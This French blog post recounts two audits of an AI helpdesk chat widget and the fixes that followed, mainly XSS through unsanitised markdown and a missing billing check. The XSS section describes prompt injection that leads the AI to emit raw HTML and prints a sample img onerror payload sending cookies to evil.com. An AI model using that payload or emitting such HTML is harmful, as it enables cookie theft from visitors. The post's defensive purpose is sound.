J'ai construit le widget helpdesk. Neuf fichiers, deux tables de base de données, un endpoint de streaming public, un composant de chat Svelte 5 et un tableau de bord admin. Le build passait. La fonctionnalité marchait. J'étais confiant.
Puis le premier auditeur a ouvert HelpdeskWidget.svelte à la ligne 348 et a trouvé ceci :
svelte{@html renderMd(msg.content || '')}Où renderMd était :
typescriptfunction renderMd(text: string): string {
return marked.parse(text) as string;
}Aucun assainissement. Sur un endpoint public, sans authentification.
Critique 1 : XSS via Markdown non assaini
La chaîne d'exploitation est directe :
- Un visiteur saisit un message conçu pour amener l'IA à inclure du HTML spécifique dans sa réponse
- L'IA résiste généralement à la production de HTML brut, mais elle n'est pas immunisée -- en particulier face à une injection de prompt créative
marked.parse()convertit le markdown en HTML, y compris tout HTML brut produit par l'IA{@html}dans Svelte injecte ce HTML dans le DOM sans échappement<img src=x onerror="document.location='https://evil.com?c='+document.cookie">s'exécute
L'attaque n'est pas théorique. marked est conçu pour rendre du HTML -- il laisse passer <script>, <img onerror>, <svg onload> et tous les autres vecteurs XSS. La directive {@html} dans Svelte contourne explicitement l'échappement natif de Svelte. Ensemble, ils créent un chemin d'injection de la sortie IA vers l'exécution dans le DOM.
Sur l'endpoint chat existant, c'est moins préoccupant -- l'utilisateur est authentifié et ne voit que ses propres réponses IA. Sur le helpdesk, l'endpoint est public. N'importe quel visiteur peut rédiger des messages. La réponse de l'IA est rendue dans le navigateur de chaque visiteur suivant s'il reprend la même conversation depuis localStorage.
Le correctif
typescriptimport DOMPurify from 'isomorphic-dompurify';
function renderMd(text: string): string {
const html = marked.parse(text) as string;
return DOMPurify.sanitize(html);
}DOMPurify supprime les gestionnaires d'événements (onerror, onload, onclick), retire les balises <script>, assainit les intégrations <iframe> et nettoie les autres motifs dangereux tout en préservant le HTML sûr -- paragraphes, titres, listes, blocs de code, liens, tableaux. La sortie de marked.parse() devient sûre pour {@html}.
isomorphic-dompurify a été choisi plutôt que dompurify car le composant widget passe par le chemin SSR de SvelteKit. Le wrapper isomorphic- fournit une implémentation basée sur jsdom pour le serveur et l'implémentation native du navigateur pour le client. La dépendance jsdom ajoute 8,2 Mo à node_modules mais n'apparaît pas dans le bundle client -- Vite l'élimine par tree-shaking.
Pourquoi je l'avais manqué
J'ai écrit {@html renderMd(...)} parce que le composant AIChatSection existant sur la page d'accueil utilise le même motif pour le rendu markdown. Ce composant est une démo -- il rend des chaînes codées en dur, pas de la sortie IA. Mon modèle mental était « c'est comme ça qu'on rend le markdown dans cette codebase ».
L'auditeur n'avait pas ce modèle mental. Il a vu {@html} combiné avec du contenu influencé par l'utilisateur et l'a signalé immédiatement. La directive est un vecteur XSS bien connu dans Svelte ; toute checklist de revue de code inclut « vérifier que toutes les sources {@html} sont assainies ».
Critique 2 : aucune vérification du solde avant l'appel API
L'endpoint helpdesk facturait le compte du propriétaire du site. Le flux était :
- Réception du message visiteur
- Streaming de la réponse IA depuis Anthropic
- Sauvegarde des messages en base de données
- Appel à
deductTokens(accountId, ...)pour débiter le propriétaire
L'étape 4 existait. L'étape 0 -- checkBalance(accountId, ...) -- n'existait pas.
Sans la vérification du solde, le helpdesk continuait à appeler l'API Anthropic et à streamer des réponses même quand le portefeuille du propriétaire du site était vide. Chaque conversation déduisait des tokens, poussant le solde de plus en plus dans le négatif. Il n'y avait pas de plancher.
L'endpoint chat existant a cette vérification à la ligne 86 :
typescriptconst balance = await checkBalance(account.id, isByok);
if (!balance.allowed) {
return json({ error: balance.reason }, { status: 402 });
}J'ai copié la logique de streaming depuis l'endpoint chat. J'ai copié la boucle d'exécution des outils, le format d'événements SSE, le comptage des tokens, l'appel à deductTokens. Je n'ai pas copié la vérification du solde parce qu'elle apparaissait avant la section de streaming -- dans le bloc d'authentification que l'endpoint helpdesk ne possède pas.
L'auditeur l'a trouvé en suivant le flux de facturation : « Où les tokens sont-ils déduits ? Y a-t-il une vérification avant la déduction ? Il n'y en a pas. » Une question systématique que le développeur avait sautée parce qu'il pensait au streaming, pas à la facturation.
Le correctif
typescript// Vérifier le solde de facturation avant d'appeler l'API
const balance = await checkBalance(accountId, false);
if (!balance.allowed) {
return json({ error: 'Helpdesk temporarily unavailable.' }, { status: 503 });
}Le message d'erreur est volontairement vague. Un visiteur public ne devrait pas apprendre que le propriétaire du site a des crédits IA insuffisants. « Temporarily unavailable » communique la bonne information (réessayez plus tard) sans divulguer l'état de la facturation.
Les découvertes importantes
Le premier audit a trouvé deux problèmes supplémentaires au niveau Important :
Ordre de récupération de l'historique
Le code original chargeait l'historique de conversation ainsi :
typescriptconst history = await prisma.helpdeskMessage.findMany({
where: { conversationId: conversation.id },
orderBy: { createdAt: 'asc' },
take: MAX_CONTEXT_MESSAGES,
select: { role: true, content: true },
});orderBy: 'asc' avec take: 20 renvoie les 20 premiers messages. Pour une conversation de 30 messages, l'IA verrait les messages 1 à 20 et manquerait les messages 21 à 30 -- le contexte le plus récent et le plus pertinent.
Le correctif a été orderBy: 'desc' (récupérer les 20 derniers), puis .reverse() (les remettre en ordre chronologique pour l'API).
typescriptconst historyDesc = await prisma.helpdeskMessage.findMany({
where: { conversationId: conversation.id },
orderBy: { createdAt: 'desc' },
take: MAX_CONTEXT_MESSAGES,
select: { role: true, content: true },
});
const history = historyDesc.reverse();J'ai écrit orderBy: 'asc' parce que je voulais l'ordre chronologique. J'ai oublié que take s'applique au résultat trié, pas à la table d'origine. Le code faisait ce que je lui avais dit, pas ce que j'avais l'intention de faire.
Validation de la longueur des entrées
L'endpoint acceptait sessionId sans limite de longueur. L'identifiant de session sert de clé dans la Map du limiteur de débit en mémoire. Un attaquant envoyant des requêtes avec des identifiants de session uniques de 10 000 caractères pouvait épuiser la mémoire du serveur -- pas rapidement, mais régulièrement.
De même, visitorName, visitorEmail et pageUrl étaient stockés dans PostgreSQL sans validation de longueur. Bien que Prisma ne soit pas vulnérable aux injections SQL, stocker des chaînes arbitrairement longues gaspille l'espace de la base de données et peut causer des problèmes d'affichage dans le tableau de bord admin.
Le correctif était une troncature directe :
typescriptif (sessionId.length > 100) return json({ error: '...' }, { status: 400 });
const sanitizedName = typeof visitorName === 'string' ? visitorName.slice(0, 100) : null;
const sanitizedEmail = typeof visitorEmail === 'string' ? visitorEmail.slice(0, 254) : null;
const sanitizedPageUrl = typeof pageUrl === 'string' ? pageUrl.slice(0, 2000) : null;Round 2 : les endpoints admin
Le second auditeur a vérifié tous les correctifs du Round 1 puis s'est tourné vers le code que le premier auditeur avait moins examiné : les endpoints admin.
Deux nouvelles découvertes de niveau Important :
- Paramètre de recherche admin non borné : Le paramètre de requête
searchétait passé directement aux requêtes Prismacontainssans limite de longueur. Une chaîne de recherche de 100 Ko causerait une dégradation des performances de la base de données. Correctif :.slice(0, 200).
- Transcription admin illimitée : L'endpoint de transcription retournait tous les messages d'une conversation sans pagination. Une conversation au plafond de 200 messages retournerait un payload volumineux. Correctif :
take: 200sur l'include des messages.
Aucune de ces découvertes n'est une vulnérabilité de sécurité. Les deux sont des problèmes de robustesse qui se manifesteraient sous une utilisation adversariale ou extrême. L'auditeur du Round 2 les a trouvés parce qu'il examinait spécifiquement la surface admin -- une zone que l'auditeur du Round 1 avait déprioritisée au profit de la surface d'attaque publique.
Le tableau de bord
| Métrique | Valeur |
|---|---|
| Fichiers audités | 9 nouveaux/modifiés + 2 de référence |
| Sessions d'audit | 2 |
| Découvertes critiques | 2 |
| Découvertes importantes | 4 |
| Découvertes mineures | 7 |
| Problèmes préexistants corrigés | 4 (erreurs TypeScript dans l'endpoint chat) |
| Régressions | 0 |
| Nouvelles dépendances | 1 (isomorphic-dompurify) |
| État du build après corrections | Passe |
Le motif récurrent
Après avoir audité six phases CLI et un widget helpdesk, un motif a émergé dans ce que les développeurs manquent :
Les développeurs pensent en flux. Message entrant, traitement IA, réponse sortante. Le flux fonctionne. Le développeur passe à la suite.
Les auditeurs pensent en surfaces. Qu'est-ce qui entre dans le système ? Qu'est-ce qui en sort ? Qu'est-ce qui est de confiance ? Qu'est-ce qui ne l'est pas ? La découverte XSS est venue de la question « quel HTML peut atteindre le DOM ? ». La découverte de facturation est venue de la question « que se passe-t-il avant que l'argent soit dépensé ? ».
Les développeurs héritent des hypothèses du code de référence. J'ai copié la boucle de streaming depuis l'endpoint chat. L'endpoint chat est authentifié -- le XSS est un souci moindre. L'endpoint helpdesk est public -- le XSS est critique. Le code est le même, mais le contexte de sécurité a changé. Je n'ai pas réévalué les hypothèses.
Les auditeurs n'ont pas de code de référence. Ils lisent ce qui existe, pas ce dont c'est dérivé. L'absence de DOMPurify est visible. L'absence de checkBalance est visible. Ils ne comparent pas avec l'endpoint chat -- ils évaluent l'endpoint helpdesk selon ses propres termes.
C'est pourquoi deux sessions trouvent ce qu'une seule ne peut pas trouver. Non pas parce que l'auditeur est plus intelligent. Parce que l'auditeur est positionné différemment. La méthodologie est le multiplicateur.
Ceci conclut la série sur le widget helpdesk IA. La fonctionnalité est en production sur sh0.dev -- essayez-la en cliquant sur le bouton de chat en bas à droite de n'importe quelle page marketing.